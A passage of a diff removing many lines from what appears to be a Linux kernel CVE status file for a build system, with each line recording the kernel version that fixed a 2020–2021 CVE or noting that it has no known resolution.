-CVE_STATUS[CVE-2020-12768] = "fixed-version: Fixed from version 5.6rc4"
-
-CVE_STATUS[CVE-2020-12769] = "fixed-version: Fixed from version 5.5rc6"
-
-CVE_STATUS[CVE-2020-12770] = "fixed-version: Fixed from version 5.7rc3"
-
-CVE_STATUS[CVE-2020-12771] = "fixed-version: Fixed from version 5.8rc2"
-
-CVE_STATUS[CVE-2020-12826] = "fixed-version: Fixed from version 5.7rc1"
-
-CVE_STATUS[CVE-2020-12888] = "fixed-version: Fixed from version 5.8rc1"
-
-CVE_STATUS[CVE-2020-12912] = "fixed-version: Fixed from version 5.10rc4"
-
-CVE_STATUS[CVE-2020-13143] = "fixed-version: Fixed from version 5.7rc6"
-
-CVE_STATUS[CVE-2020-13974] = "fixed-version: Fixed from version 5.8rc1"
-
-# CVE-2020-14304 has no known resolution
-
-CVE_STATUS[CVE-2020-14305] = "fixed-version: Fixed from version 4.12rc1"
-
-CVE_STATUS[CVE-2020-14314] = "fixed-version: Fixed from version 5.9rc2"
-
-CVE_STATUS[CVE-2020-14331] = "fixed-version: Fixed from version 5.9rc1"
-
-CVE_STATUS[CVE-2020-14351] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2020-14353] = "fixed-version: Fixed from version 4.14rc3"
-
-CVE_STATUS[CVE-2020-14356] = "fixed-version: Fixed from version 5.8rc5"
-
-CVE_STATUS[CVE-2020-14381] = "fixed-version: Fixed from version 5.6rc6"
-
-CVE_STATUS[CVE-2020-14385] = "fixed-version: Fixed from version 5.9rc4"
-
-CVE_STATUS[CVE-2020-14386] = "fixed-version: Fixed from version 5.9rc4"
-
-CVE_STATUS[CVE-2020-14390] = "fixed-version: Fixed from version 5.9rc6"
-
-CVE_STATUS[CVE-2020-14416] = "fixed-version: Fixed from version 5.5"
-
-CVE_STATUS[CVE-2020-15393] = "fixed-version: Fixed from version 5.8rc3"
-
-CVE_STATUS[CVE-2020-15436] = "fixed-version: Fixed from version 5.8rc2"
-
-CVE_STATUS[CVE-2020-15437] = "fixed-version: Fixed from version 5.8rc7"
-
-CVE_STATUS[CVE-2020-15780] = "fixed-version: Fixed from version 5.8rc3"
-
-# CVE-2020-15802 has no known resolution
-
-CVE_STATUS[CVE-2020-15852] = "fixed-version: Fixed from version 5.8rc6"
-
-CVE_STATUS[CVE-2020-16119] = "fixed-version: Fixed from version 5.15rc2"
-
-CVE_STATUS[CVE-2020-16120] = "fixed-version: Fixed from version 5.8rc1"
-
-CVE_STATUS[CVE-2020-16166] = "fixed-version: Fixed from version 5.8"
-
-CVE_STATUS[CVE-2020-1749] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2020-24394] = "fixed-version: Fixed from version 5.8rc4"
-
-CVE_STATUS[CVE-2020-24490] = "fixed-version: Fixed from version 5.8"
-
-# CVE-2020-24502 has no known resolution
-
-# CVE-2020-24503 has no known resolution
-
-CVE_STATUS[CVE-2020-24504] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2020-24586] = "fixed-version: Fixed from version 5.13rc4"
-
-CVE_STATUS[CVE-2020-24587] = "fixed-version: Fixed from version 5.13rc4"
-
-CVE_STATUS[CVE-2020-24588] = "fixed-version: Fixed from version 5.13rc4"
-
-CVE_STATUS[CVE-2020-25211] = "fixed-version: Fixed from version 5.9rc7"
-
-CVE_STATUS[CVE-2020-25212] = "fixed-version: Fixed from version 5.9rc1"
-
-# CVE-2020-25220 has no known resolution
-
-CVE_STATUS[CVE-2020-25221] = "fixed-version: Fixed from version 5.9rc4"
-
-CVE_STATUS[CVE-2020-25284] = "fixed-version: Fixed from version 5.9rc5"
-
-CVE_STATUS[CVE-2020-25285] = "fixed-version: Fixed from version 5.9rc4"
-
-CVE_STATUS[CVE-2020-25639] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2020-25641] = "fixed-version: Fixed from version 5.9rc4"
-
-CVE_STATUS[CVE-2020-25643] = "fixed-version: Fixed from version 5.9rc7"
-
-CVE_STATUS[CVE-2020-25645] = "fixed-version: Fixed from version 5.9rc7"
-
-CVE_STATUS[CVE-2020-25656] = "fixed-version: Fixed from version 5.10rc2"
-
-# CVE-2020-25661 has no known resolution
-
-# CVE-2020-25662 has no known resolution
-
-CVE_STATUS[CVE-2020-25668] = "fixed-version: Fixed from version 5.10rc3"
-
-CVE_STATUS[CVE-2020-25669] = "fixed-version: Fixed from version 5.10rc5"
-
-CVE_STATUS[CVE-2020-25670] = "fixed-version: Fixed from version 5.12rc7"
-
-CVE_STATUS[CVE-2020-25671] = "fixed-version: Fixed from version 5.12rc7"
-
-CVE_STATUS[CVE-2020-25672] = "fixed-version: Fixed from version 5.12rc7"
-
-CVE_STATUS[CVE-2020-25673] = "fixed-version: Fixed from version 5.12rc7"
-
-CVE_STATUS[CVE-2020-25704] = "fixed-version: Fixed from version 5.10rc3"
-
-CVE_STATUS[CVE-2020-25705] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2020-26088] = "fixed-version: Fixed from version 5.9rc1"
-
-CVE_STATUS[CVE-2020-26139] = "fixed-version: Fixed from version 5.13rc4"
-
-# CVE-2020-26140 has no known resolution
-
-CVE_STATUS[CVE-2020-26141] = "fixed-version: Fixed from version 5.13rc4"
-
-# CVE-2020-26142 has no known resolution
-
-# CVE-2020-26143 has no known resolution
-
-CVE_STATUS[CVE-2020-26145] = "fixed-version: Fixed from version 5.13rc4"
-
-CVE_STATUS[CVE-2020-26147] = "fixed-version: Fixed from version 5.13rc4"
-
-CVE_STATUS[CVE-2020-26541] = "fixed-version: Fixed from version 5.13rc1"
-
-CVE_STATUS[CVE-2020-26555] = "fixed-version: Fixed from version 5.13rc1"
-
-# CVE-2020-26556 has no known resolution
-
-# CVE-2020-26557 has no known resolution
-
-CVE_STATUS[CVE-2020-26558] = "fixed-version: Fixed from version 5.13rc1"
-
-# CVE-2020-26559 has no known resolution
-
-# CVE-2020-26560 has no known resolution
-
-CVE_STATUS[CVE-2020-27066] = "fixed-version: Fixed from version 5.6"
-
-CVE_STATUS[CVE-2020-27067] = "fixed-version: Fixed from version 4.14rc4"
-
-CVE_STATUS[CVE-2020-27068] = "fixed-version: Fixed from version 5.6rc2"
-
-CVE_STATUS[CVE-2020-27152] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2020-27170] = "fixed-version: Fixed from version 5.12rc5"
-
-CVE_STATUS[CVE-2020-27171] = "fixed-version: Fixed from version 5.12rc5"
-
-CVE_STATUS[CVE-2020-27194] = "fixed-version: Fixed from version 5.9"
-
-CVE_STATUS[CVE-2020-2732] = "fixed-version: Fixed from version 5.6rc4"
-
-# CVE-2020-27418 has no known resolution
-
-CVE_STATUS[CVE-2020-27673] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2020-27675] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2020-27777] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2020-27784] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2020-27786] = "fixed-version: Fixed from version 5.7rc6"
-
-CVE_STATUS[CVE-2020-27815] = "fixed-version: Fixed from version 5.11rc1"
-
-CVE_STATUS[CVE-2020-27820] = "fixed-version: Fixed from version 5.16rc1"
-
-CVE_STATUS[CVE-2020-27825] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2020-27830] = "fixed-version: Fixed from version 5.10rc7"
-
-CVE_STATUS[CVE-2020-27835] = "fixed-version: Fixed from version 5.10rc6"
-
-CVE_STATUS[CVE-2020-28097] = "fixed-version: Fixed from version 5.9rc6"
-
-CVE_STATUS[CVE-2020-28374] = "fixed-version: Fixed from version 5.11rc4"
-
-CVE_STATUS[CVE-2020-28588] = "fixed-version: Fixed from version 5.10rc7"
-
-CVE_STATUS[CVE-2020-28915] = "fixed-version: Fixed from version 5.9"
-
-CVE_STATUS[CVE-2020-28941] = "fixed-version: Fixed from version 5.10rc5"
-
-CVE_STATUS[CVE-2020-28974] = "fixed-version: Fixed from version 5.10rc3"
-
-CVE_STATUS[CVE-2020-29368] = "fixed-version: Fixed from version 5.8rc1"
-
-CVE_STATUS[CVE-2020-29369] = "fixed-version: Fixed from version 5.8rc7"
-
-CVE_STATUS[CVE-2020-29370] = "fixed-version: Fixed from version 5.6rc7"
-
-CVE_STATUS[CVE-2020-29371] = "fixed-version: Fixed from version 5.9rc2"
-
-CVE_STATUS[CVE-2020-29372] = "fixed-version: Fixed from version 5.7rc3"
-
-CVE_STATUS[CVE-2020-29373] = "fixed-version: Fixed from version 5.6rc2"
-
-CVE_STATUS[CVE-2020-29374] = "fixed-version: Fixed from version 5.8rc1"
-
-CVE_STATUS[CVE-2020-29534] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2020-29568] = "fixed-version: Fixed from version 5.11rc1"
-
-CVE_STATUS[CVE-2020-29569] = "fixed-version: Fixed from version 5.11rc1"
-
-CVE_STATUS[CVE-2020-29660] = "fixed-version: Fixed from version 5.10rc7"
-
-CVE_STATUS[CVE-2020-29661] = "fixed-version: Fixed from version 5.10rc7"
-
-CVE_STATUS[CVE-2020-35499] = "fixed-version: Fixed from version 5.11rc1"
-
-# CVE-2020-35501 has no known resolution
-
-CVE_STATUS[CVE-2020-35508] = "fixed-version: Fixed from version 5.10rc3"
-
-CVE_STATUS[CVE-2020-35513] = "fixed-version: Fixed from version 4.17rc1"
-
-CVE_STATUS[CVE-2020-35519] = "fixed-version: Fixed from version 5.10rc7"
-
-CVE_STATUS[CVE-2020-36158] = "fixed-version: Fixed from version 5.11rc1"
-
-CVE_STATUS[CVE-2020-36310] = "fixed-version: Fixed from version 5.8rc1"
-
-CVE_STATUS[CVE-2020-36311] = "fixed-version: Fixed from version 5.9rc5"
-
-CVE_STATUS[CVE-2020-36312] = "fixed-version: Fixed from version 5.9rc5"
-
-CVE_STATUS[CVE-2020-36313] = "fixed-version: Fixed from version 5.7rc1"
-
-CVE_STATUS[CVE-2020-36322] = "fixed-version: Fixed from version 5.11rc1"
-
-CVE_STATUS[CVE-2020-36385] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2020-36386] = "fixed-version: Fixed from version 5.9rc1"
-
-CVE_STATUS[CVE-2020-36387] = "fixed-version: Fixed from version 5.9rc1"
-
-CVE_STATUS[CVE-2020-36516] = "fixed-version: Fixed from version 5.17rc2"
-
-CVE_STATUS[CVE-2020-36557] = "fixed-version: Fixed from version 5.7rc1"
-
-CVE_STATUS[CVE-2020-36558] = "fixed-version: Fixed from version 5.6rc3"
-
-CVE_STATUS[CVE-2020-36691] = "fixed-version: Fixed from version 5.8rc1"
-
-CVE_STATUS[CVE-2020-36694] = "fixed-version: Fixed from version 5.10"
-
-CVE_STATUS[CVE-2020-36766] = "fixed-version: Fixed from version 5.9rc1"
-
-CVE_STATUS[CVE-2020-3702] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2020-4788] = "fixed-version: Fixed from version 5.10rc5"
-
-CVE_STATUS[CVE-2020-7053] = "fixed-version: Fixed from version 5.2rc1"
-
-CVE_STATUS[CVE-2020-8428] = "fixed-version: Fixed from version 5.5"
-
-CVE_STATUS[CVE-2020-8647] = "fixed-version: Fixed from version 5.6rc5"
-
-CVE_STATUS[CVE-2020-8648] = "fixed-version: Fixed from version 5.6rc3"
-
-CVE_STATUS[CVE-2020-8649] = "fixed-version: Fixed from version 5.6rc5"
-
-CVE_STATUS[CVE-2020-8694] = "fixed-version: Fixed from version 5.10rc4"
-
-# CVE-2020-8832 has no known resolution
-
-CVE_STATUS[CVE-2020-8834] = "fixed-version: Fixed from version 4.18rc1"
-
-CVE_STATUS[CVE-2020-8835] = "fixed-version: Fixed from version 5.7rc1"
-
-CVE_STATUS[CVE-2020-8992] = "fixed-version: Fixed from version 5.6rc2"
-
-CVE_STATUS[CVE-2020-9383] = "fixed-version: Fixed from version 5.6rc4"
-
-CVE_STATUS[CVE-2020-9391] = "fixed-version: Fixed from version 5.6rc3"
-
-CVE_STATUS[CVE-2021-0129] = "fixed-version: Fixed from version 5.13rc1"
-
-CVE_STATUS[CVE-2021-0342] = "fixed-version: Fixed from version 5.8rc1"
-
-# CVE-2021-0399 has no known resolution
-
-CVE_STATUS[CVE-2021-0447] = "fixed-version: Fixed from version 4.15rc1"
-
-CVE_STATUS[CVE-2021-0448] = "fixed-version: Fixed from version 5.9rc7"
-
-CVE_STATUS[CVE-2021-0512] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2021-0605] = "fixed-version: Fixed from version 5.8"
-
-# CVE-2021-0606 has no known resolution
-
-# CVE-2021-0695 has no known resolution
-
-CVE_STATUS[CVE-2021-0707] = "fixed-version: Fixed from version 5.11rc3"
-
-CVE_STATUS[CVE-2021-0920] = "fixed-version: Fixed from version 5.14rc4"
-
-# CVE-2021-0924 has no known resolution
-
-CVE_STATUS[CVE-2021-0929] = "fixed-version: Fixed from version 5.6rc1"
-
-CVE_STATUS[CVE-2021-0935] = "fixed-version: Fixed from version 4.16rc7"
-
-# CVE-2021-0936 has no known resolution
-
-CVE_STATUS[CVE-2021-0937] = "fixed-version: Fixed from version 5.12rc8"
-
-CVE_STATUS[CVE-2021-0938] = "fixed-version: Fixed from version 5.10rc4"
-
-CVE_STATUS[CVE-2021-0941] = "fixed-version: Fixed from version 5.12rc1"
-
-# CVE-2021-0961 has no known resolution
-
-CVE_STATUS[CVE-2021-1048] = "fixed-version: Fixed from version 5.9rc4"
-
-CVE_STATUS[CVE-2021-20177] = "fixed-version: Fixed from version 5.5rc1"
-
-CVE_STATUS[CVE-2021-20194] = "fixed-version: Fixed from version 5.10rc1"
-
-# CVE-2021-20219 has no known resolution
-
-CVE_STATUS[CVE-2021-20226] = "fixed-version: Fixed from version 5.10rc1"
-
-CVE_STATUS[CVE-2021-20239] = "fixed-version: Fixed from version 5.9rc1"
-
-CVE_STATUS[CVE-2021-20261] = "fixed-version: Fixed from version 4.5rc5"
-
-CVE_STATUS[CVE-2021-20265] = "fixed-version: Fixed from version 4.5rc3"
-
-CVE_STATUS[CVE-2021-20268] = "fixed-version: Fixed from version 5.11rc5"
-
-CVE_STATUS[CVE-2021-20292] = "fixed-version: Fixed from version 5.9rc1"
-
-CVE_STATUS[CVE-2021-20317] = "fixed-version: Fixed from version 5.4rc1"
-
-CVE_STATUS[CVE-2021-20320] = "fixed-version: Fixed from version 5.15rc3"
-
-CVE_STATUS[CVE-2021-20321] = "fixed-version: Fixed from version 5.15rc5"
-
-CVE_STATUS[CVE-2021-20322] = "fixed-version: Fixed from version 5.15rc1"
-
-CVE_STATUS[CVE-2021-21781] = "fixed-version: Fixed from version 5.11rc7"
-
-CVE_STATUS[CVE-2021-22543] = "fixed-version: Fixed from version 5.13"
-
-CVE_STATUS[CVE-2021-22555] = "fixed-version: Fixed from version 5.12rc8"
-
-CVE_STATUS[CVE-2021-22600] = "fixed-version: Fixed from version 5.16rc6"
-
-CVE_STATUS[CVE-2021-23133] = "fixed-version: Fixed from version 5.12rc8"
-
-CVE_STATUS[CVE-2021-23134] = "fixed-version: Fixed from version 5.13rc1"
-
-CVE_STATUS[CVE-2021-26401] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2021-26708] = "fixed-version: Fixed from version 5.11rc7"
-
-CVE_STATUS[CVE-2021-26930] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2021-26931] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2021-26932] = "fixed-version: Fixed from version 5.12rc1"
-
-# CVE-2021-26934 has no known resolution
-
-CVE_STATUS[CVE-2021-27363] = "fixed-version: Fixed from version 5.12rc2"
-
-CVE_STATUS[CVE-2021-27364] = "fixed-version: Fixed from version 5.12rc2"
-
-CVE_STATUS[CVE-2021-27365] = "fixed-version: Fixed from version 5.12rc2"
-
-CVE_STATUS[CVE-2021-28038] = "fixed-version: Fixed from version 5.12rc2"
-
-CVE_STATUS[CVE-2021-28039] = "fixed-version: Fixed from version 5.12rc2"
-
-CVE_STATUS[CVE-2021-28375] = "fixed-version: Fixed from version 5.12rc3"
-
-CVE_STATUS[CVE-2021-28660] = "fixed-version: Fixed from version 5.12rc3"
-
-CVE_STATUS[CVE-2021-28688] = "fixed-version: Fixed from version 5.12rc6"
-
-CVE_STATUS[CVE-2021-28691] = "fixed-version: Fixed from version 5.13rc6"
-
-CVE_STATUS[CVE-2021-28711] = "fixed-version: Fixed from version 5.16rc7"
-
-CVE_STATUS[CVE-2021-28712] = "fixed-version: Fixed from version 5.16rc7"
-
-CVE_STATUS[CVE-2021-28713] = "fixed-version: Fixed from version 5.16rc7"
-
-CVE_STATUS[CVE-2021-28714] = "fixed-version: Fixed from version 5.16rc7"
-
-CVE_STATUS[CVE-2021-28715] = "fixed-version: Fixed from version 5.16rc7"
-
-CVE_STATUS[CVE-2021-28950] = "fixed-version: Fixed from version 5.12rc4"
-
-CVE_STATUS[CVE-2021-28951] = "fixed-version: Fixed from version 5.12rc2"
-
-CVE_STATUS[CVE-2021-28952] = "fixed-version: Fixed from version 5.12rc4"
-
-CVE_STATUS[CVE-2021-28964] = "fixed-version: Fixed from version 5.12rc4"
-
-CVE_STATUS[CVE-2021-28971] = "fixed-version: Fixed from version 5.12rc4"
-
-CVE_STATUS[CVE-2021-28972] = "fixed-version: Fixed from version 5.12rc4"
-
-CVE_STATUS[CVE-2021-29154] = "fixed-version: Fixed from version 5.12rc7"
-
-CVE_STATUS[CVE-2021-29155] = "fixed-version: Fixed from version 5.12rc8"
-
-CVE_STATUS[CVE-2021-29264] = "fixed-version: Fixed from version 5.12rc3"
-
-CVE_STATUS[CVE-2021-29265] = "fixed-version: Fixed from version 5.12rc3"
-
-CVE_STATUS[CVE-2021-29266] = "fixed-version: Fixed from version 5.12rc4"
-
-CVE_STATUS[CVE-2021-29646] = "fixed-version: Fixed from version 5.12rc5"
-
-CVE_STATUS[CVE-2021-29647] = "fixed-version: Fixed from version 5.12rc5"
-
-CVE_STATUS[CVE-2021-29648] = "fixed-version: Fixed from version 5.12rc5"
-
-CVE_STATUS[CVE-2021-29649] = "fixed-version: Fixed from version 5.12rc5"
-
-CVE_STATUS[CVE-2021-29650] = "fixed-version: Fixed from version 5.12rc5"
-
-CVE_STATUS[CVE-2021-29657] = "fixed-version: Fixed from version 5.12rc6"
-
-CVE_STATUS[CVE-2021-30002] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2021-30178] = "fixed-version: Fixed from version 5.12rc2"
-
-CVE_STATUS[CVE-2021-31440] = "fixed-version: Fixed from version 5.13rc1"
-
-CVE_STATUS[CVE-2021-3178] = "fixed-version: Fixed from version 5.11rc5"
-
-CVE_STATUS[CVE-2021-31829] = "fixed-version: Fixed from version 5.13rc1"
-
-CVE_STATUS[CVE-2021-31916] = "fixed-version: Fixed from version 5.12rc5"
-
-CVE_STATUS[CVE-2021-32078] = "fixed-version: Fixed from version 5.13rc1"
-
-CVE_STATUS[CVE-2021-32399] = "fixed-version: Fixed from version 5.13rc1"
-
-CVE_STATUS[CVE-2021-32606] = "fixed-version: Fixed from version 5.13rc4"
-
-CVE_STATUS[CVE-2021-33033] = "fixed-version: Fixed from version 5.12rc3"
-
-CVE_STATUS[CVE-2021-33034] = "fixed-version: Fixed from version 5.13rc1"
-
-CVE_STATUS[CVE-2021-33061] = "fixed-version: Fixed from version 5.18rc1"
-
-CVE_STATUS[CVE-2021-33098] = "fixed-version: Fixed from version 5.13rc4"
-
-CVE_STATUS[CVE-2021-33135] = "fixed-version: Fixed from version 5.17rc8"
-
-CVE_STATUS[CVE-2021-33200] = "fixed-version: Fixed from version 5.13rc4"
-
-CVE_STATUS[CVE-2021-3347] = "fixed-version: Fixed from version 5.11rc6"
-
-CVE_STATUS[CVE-2021-3348] = "fixed-version: Fixed from version 5.11rc6"
-
-CVE_STATUS[CVE-2021-33624] = "fixed-version: Fixed from version 5.13rc7"
-
-CVE_STATUS[CVE-2021-33655] = "fixed-version: Fixed from version 5.19rc6"
-
-CVE_STATUS[CVE-2021-33656] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2021-33909] = "fixed-version: Fixed from version 5.14rc3"
-
-CVE_STATUS[CVE-2021-3411] = "fixed-version: Fixed from version 5.10"
-
-CVE_STATUS[CVE-2021-3428] = "fixed-version: Fixed from version 5.9rc2"
-
-CVE_STATUS[CVE-2021-3444] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2021-34556] = "fixed-version: Fixed from version 5.14rc4"
-
-CVE_STATUS[CVE-2021-34693] = "fixed-version: Fixed from version 5.13rc7"
-
-CVE_STATUS[CVE-2021-3483] = "fixed-version: Fixed from version 5.12rc6"
-
-CVE_STATUS[CVE-2021-34866] = "fixed-version: Fixed from version 5.14"
-
-CVE_STATUS[CVE-2021-3489] = "fixed-version: Fixed from version 5.13rc4"
-
-CVE_STATUS[CVE-2021-3490] = "fixed-version: Fixed from version 5.13rc4"
-
-CVE_STATUS[CVE-2021-3491] = "fixed-version: Fixed from version 5.13rc1"
-
-# CVE-2021-3492 has no known resolution
-
-CVE_STATUS[CVE-2021-3493] = "fixed-version: Fixed from version 5.11rc1"
-
-CVE_STATUS[CVE-2021-34981] = "fixed-version: Fixed from version 5.14rc1"
-
-CVE_STATUS[CVE-2021-3501] = "fixed-version: Fixed from version 5.12rc8"
-
-CVE_STATUS[CVE-2021-35039] = "fixed-version: Fixed from version 5.13"
-
-CVE_STATUS[CVE-2021-3506] = "fixed-version: Fixed from version 5.13rc1"
-
-# CVE-2021-3542 has no known resolution
-
-CVE_STATUS[CVE-2021-3543] = "fixed-version: Fixed from version 5.13rc1"
-
-CVE_STATUS[CVE-2021-35477] = "fixed-version: Fixed from version 5.14rc4"
-
-CVE_STATUS[CVE-2021-3564] = "fixed-version: Fixed from version 5.13rc5"
-
-CVE_STATUS[CVE-2021-3573] = "fixed-version: Fixed from version 5.13rc5"
-
-CVE_STATUS[CVE-2021-3587] = "fixed-version: Fixed from version 5.13rc5"
-
-CVE_STATUS[CVE-2021-3600] = "fixed-version: Fixed from version 5.11"
-
-CVE_STATUS[CVE-2021-3609] = "fixed-version: Fixed from version 5.14rc1"
-
-CVE_STATUS[CVE-2021-3612] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2021-3635] = "fixed-version: Fixed from version 5.5rc7"
-
-CVE_STATUS[CVE-2021-3640] = "fixed-version: Fixed from version 5.16rc1"
-
-CVE_STATUS[CVE-2021-3653] = "fixed-version: Fixed from version 5.14rc7"
-
-CVE_STATUS[CVE-2021-3655] = "fixed-version: Fixed from version 5.14rc1"
-
-CVE_STATUS[CVE-2021-3656] = "fixed-version: Fixed from version 5.14rc7"
-
-CVE_STATUS[CVE-2021-3659] = "fixed-version: Fixed from version 5.12rc7"
-
-CVE_STATUS[CVE-2021-3669] = "fixed-version: Fixed from version 5.15rc1"
-
-CVE_STATUS[CVE-2021-3679] = "fixed-version: Fixed from version 5.14rc3"
-
-# CVE-2021-3714 has no known resolution
-
-CVE_STATUS[CVE-2021-3715] = "fixed-version: Fixed from version 5.6"
-
-CVE_STATUS[CVE-2021-37159] = "fixed-version: Fixed from version 5.14rc3"
-
-CVE_STATUS[CVE-2021-3732] = "fixed-version: Fixed from version 5.14rc6"
-
-CVE_STATUS[CVE-2021-3736] = "fixed-version: Fixed from version 5.15rc1"
-
-CVE_STATUS[CVE-2021-3739] = "fixed-version: Fixed from version 5.15rc1"
-
-CVE_STATUS[CVE-2021-3743] = "fixed-version: Fixed from version 5.13rc7"
-
-CVE_STATUS[CVE-2021-3744] = "fixed-version: Fixed from version 5.15rc4"
-
-CVE_STATUS[CVE-2021-3752] = "fixed-version: Fixed from version 5.16rc1"
-
-CVE_STATUS[CVE-2021-3753] = "fixed-version: Fixed from version 5.15rc1"
-
-CVE_STATUS[CVE-2021-37576] = "fixed-version: Fixed from version 5.14rc3"
-
-CVE_STATUS[CVE-2021-3759] = "fixed-version: Fixed from version 5.15rc1"
-
-CVE_STATUS[CVE-2021-3760] = "fixed-version: Fixed from version 5.15rc6"
-
-CVE_STATUS[CVE-2021-3764] = "fixed-version: Fixed from version 5.15rc4"
-
-CVE_STATUS[CVE-2021-3772] = "fixed-version: Fixed from version 5.15"
-
-CVE_STATUS[CVE-2021-38160] = "fixed-version: Fixed from version 5.14rc1"
-
-CVE_STATUS[CVE-2021-38166] = "fixed-version: Fixed from version 5.14rc6"
-
-CVE_STATUS[CVE-2021-38198] = "fixed-version: Fixed from version 5.13rc6"
-
-CVE_STATUS[CVE-2021-38199] = "fixed-version: Fixed from version 5.14rc1"
-
-CVE_STATUS[CVE-2021-38200] = "fixed-version: Fixed from version 5.13rc7"
-
-CVE_STATUS[CVE-2021-38201] = "fixed-version: Fixed from version 5.14rc1"
-
-CVE_STATUS[CVE-2021-38202] = "fixed-version: Fixed from version 5.14rc1"
-
-CVE_STATUS[CVE-2021-38203] = "fixed-version: Fixed from version 5.14rc2"
-
-CVE_STATUS[CVE-2021-38204] = "fixed-version: Fixed from version 5.14rc3"
-
-CVE_STATUS[CVE-2021-38205] = "fixed-version: Fixed from version 5.14rc1"
-
-CVE_STATUS[CVE-2021-38206] = "fixed-version: Fixed from version 5.13rc7"
-
-CVE_STATUS[CVE-2021-38207] = "fixed-version: Fixed from version 5.13rc7"
-
-CVE_STATUS[CVE-2021-38208] = "fixed-version: Fixed from version 5.13rc5"
-
-CVE_STATUS[CVE-2021-38209] = "fixed-version: Fixed from version 5.13rc1"
-
-CVE_STATUS[CVE-2021-38300] = "fixed-version: Fixed from version 5.15rc4"
-
-# CVE-2021-3847 has no known resolution
-
-# CVE-2021-3864 has no known resolution
-
-# CVE-2021-3892 has no known resolution
-
-CVE_STATUS[CVE-2021-3894] = "fixed-version: Fixed from version 5.15rc6"
-
-CVE_STATUS[CVE-2021-3896] = "fixed-version: Fixed from version 5.15rc6"
-
-CVE_STATUS[CVE-2021-3923] = "fixed-version: Fixed from version 5.16"
-
-CVE_STATUS[CVE-2021-39633] = "fixed-version: Fixed from version 5.14"
-
-CVE_STATUS[CVE-2021-39634] = "fixed-version: Fixed from version 5.9rc8"
-
-CVE_STATUS[CVE-2021-39636] = "fixed-version: Fixed from version 4.16rc1"
-
-CVE_STATUS[CVE-2021-39648] = "fixed-version: Fixed from version 5.11rc3"
-
-CVE_STATUS[CVE-2021-39656] = "fixed-version: Fixed from version 5.12rc3"
-
-CVE_STATUS[CVE-2021-39657] = "fixed-version: Fixed from version 5.11rc4"
-
-CVE_STATUS[CVE-2021-39685] = "fixed-version: Fixed from version 5.16rc5"
-
-CVE_STATUS[CVE-2021-39686] = "fixed-version: Fixed from version 5.16rc1"
-
-CVE_STATUS[CVE-2021-39698] = "fixed-version: Fixed from version 5.16rc5"
-
-CVE_STATUS[CVE-2021-39711] = "fixed-version: Fixed from version 4.18rc6"
-
-CVE_STATUS[CVE-2021-39713] = "fixed-version: Fixed from version 4.20rc1"
-
-CVE_STATUS[CVE-2021-39714] = "fixed-version: Fixed from version 4.12rc1"
-
-# CVE-2021-39800 has no known resolution
-
-# CVE-2021-39801 has no known resolution
-
-# CVE-2021-39802 has no known resolution
-
-CVE_STATUS[CVE-2021-4001] = "fixed-version: Fixed from version 5.16rc2"
-
-CVE_STATUS[CVE-2021-4002] = "fixed-version: Fixed from version 5.16rc3"
-
-CVE_STATUS[CVE-2021-4023] = "fixed-version: Fixed from version 5.15rc1"
-
-CVE_STATUS[CVE-2021-4028] = "fixed-version: Fixed from version 5.15rc4"
-
-CVE_STATUS[CVE-2021-4032] = "fixed-version: Fixed from version 5.15rc7"
-
-CVE_STATUS[CVE-2021-4037] = "fixed-version: Fixed from version 5.12rc1"
-
-CVE_STATUS[CVE-2021-40490] = "fixed-version: Fixed from version 5.15rc1"
-
-CVE_STATUS[CVE-2021-4083] = "fixed-version: Fixed from version 5.16rc4"
-
-CVE_STATUS[CVE-2021-4090] = "fixed-version: Fixed from version 5.16rc2"
-
-CVE_STATUS[CVE-2021-4093] = "fixed-version: Fixed from version 5.15rc7"
-
-CVE_STATUS[CVE-2021-4095] = "fixed-version: Fixed from version 5.17rc1"
-
-CVE_STATUS[CVE-2021-41073] = "fixed-version: Fixed from version 5.15rc2"
-
-CVE_STATUS[CVE-2021-4135] = "fixed-version: Fixed from version 5.16rc6"
-
-CVE_STATUS[CVE-2021-4148] = "fixed-version: Fixed from version 5.15"
-
-CVE_STATUS[CVE-2021-4149] = "fixed-version: Fixed from version 5.15rc6"
-
-CVE_STATUS[CVE-2021-4150] = "fixed-version: Fixed from version 5.15rc7"
-
-CVE_STATUS[CVE-2021-4154] = "fixed-version: Fixed from version 5.14rc2"
-
-CVE_STATUS[CVE-2021-4155] = "fixed-version: Fixed from version 5.16"
-
-CVE_STATUS[CVE-2021-4157] = "fixed-version: Fixed from version 5.13rc1"
-
-CVE_STATUS[CVE-2021-4159] = "fixed-version: Fixed from version 5.7rc1"
-
-CVE_STATUS[CVE-2021-41864] = "fixed-version: Fixed from version 5.15rc5"
-
-CVE_STATUS[CVE-2021-4197] = "fixed-version: Fixed from version 5.16"
-
-CVE_STATUS[CVE-2021-42008] = "fixed-version: Fixed from version 5.14rc7"
-
-CVE_STATUS[CVE-2021-4202] = "fixed-version: Fixed from version 5.16rc2"
-
-CVE_STATUS[CVE-2021-4203] = "fixed-version: Fixed from version 5.15rc4"
-
